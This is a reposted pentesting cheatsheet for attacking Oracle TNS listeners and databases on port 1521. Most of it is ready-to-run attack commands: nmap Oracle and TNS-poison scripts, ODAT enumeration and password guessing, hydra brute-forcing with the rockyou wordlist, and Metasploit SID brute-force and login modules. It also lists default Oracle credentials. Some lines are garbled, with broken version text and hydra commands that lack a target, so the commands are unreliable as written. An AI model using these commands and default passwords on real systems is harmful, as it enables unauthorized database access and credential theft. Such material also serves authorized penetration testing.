Pentesting Oracle TNS listener/ Database - Chaeatsheet - Port 1521
2023-8-14 22:7:0 Author:查看原文) 阅读量:39 收藏

nmap -Pn -sV -p1521 --script=oracle*

#Check for service Version
#Oracle Database 11g,, and, and 10g,, and,
#try this exploit 
GitHub - bongbongco/CVE-2012-1675: Oracle Database TNS Listener Poison Attack Vulnerability 
 nmap -Pn -sT --script=+oracle-tns-poison.nse -p 1521

Oracle SQL:
ODAT - Oracle Database Attacking Tool

#Download the release
tar -xvf filename

./odat all -s
./odat all -s -d SID_NAME
./odat all -s -d ''

#Check with creds
./odat all -s -p 1521 -d ORCL -U SYS -P password

#bruteforce when you know SID
./odat all -s -d '' --accounts-file accounts/accounts_multiple.txt
#Enum - Doesn't work if password protected 
sudo apt install tnscmd10g

tnscmd10g version -h
tnscmd10g status -h

#Login to DB
sqsh -S IP_Address:PORT -u username -p password
Brute Forcing 
hydra -P /usr/share/wordlists/rockyou.txt -t 32 -s 1521 oracle-listener
hydra -P /usr/share/wordlists/rockyou.txt -t 32 -s 1521 oracle

#Download wordlist from here
hydra -L /usr/share/oscanner/services.txt -s 1521 oracle-sid

#Brutefocing Creds - Require SID
./odat passwordguesser -d SID_NAME -s -p 1521 --accounts-file accounts/accounts_multiple.txt
Default Passwords

DBSNMP/DBSNMP — Intelligent Agent uses this to talk to the db server (its some work to change it)
SYS/CHANGE_ON_INSTALL — Default sysdba account before and including Oracle v9, as of version 10g this has to be different!
PCMS_SYS/PCMS_SYS — Default x account
WMSYS/WMSYS — Default x account
OUTLN/OUTLN — Default x account
SCOTT/TIGER — Default x account

use auxiliary/scanner/oracle/sid_enum
use auxiliary/admin/oracle/tnscmd
use auxiliary/admin/oracle/sid_brute 
use auxiliary/admin/oracle/oracle_login